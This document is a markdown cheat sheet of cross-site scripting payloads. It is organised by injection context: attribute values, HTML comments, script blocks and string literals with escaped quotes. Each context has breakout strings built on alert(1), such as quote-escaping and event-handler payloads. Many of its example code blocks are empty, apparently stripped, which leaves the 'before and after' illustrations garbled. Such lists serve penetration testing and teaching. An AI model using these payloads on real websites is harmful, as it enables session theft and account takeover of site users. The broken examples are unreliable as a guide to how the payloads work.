# XSS Payloads 1. Basic payload ```html ``` 2. Add ' or " to escape the payload from value of an HTML tag ```html "> '> ``` * Example source code ```html ``` * After input the payload ```html ``` 3. Add --> to escape the payload if input lands in HTML comments. ```html --> ``` * Example source code ```html ``` * After input the payload ```html --> ``` 4. Add when the input inside or between opening/closing tags, tag can be , and any other HTML tags ```html "> ``` * Example source code ```html 1 ``` * After input the payload ```html ">1 ``` 5. Use when input inside an attribute’s value of an HTML tag but > is filtered ```html " onmouseover=alert(1) " autofocus onfocus=alert(1) ``` * Example source code ```html ``` * After input the payload ```html ``` 6. Use when input inside ``` * Example source code ```html ``` * After input the payload ```html alert(1)'; ``` 7. Use when input lands in a script block, inside a string delimited value. ```html '-alert(1)-' '/alert(1)// ``` * Example source code ```html ``` * After input the payload ```html ``` 8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash. ```html \'alert(1)// ``` * Example source code ```html ``` * If we input payload '-alert(1)-' it will be like this ```html ``` The quotes are escaped by a backslash so we need to bypass them * After input the payload ```html ``` 9. Use when there’s multi reflection in the same line of JS code ```html /alert(1)//\ /alert(1)}//\ ``` * Example source code ```html ``` * After input the payload ```html ``` 10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc). ```html '}alert(1);{' \'}alert(1);{// ``` * Example source code ```html ``` * After input the payload ```html ``` > Payload number 2 uses when quote escaped by backslash *Will be updated again!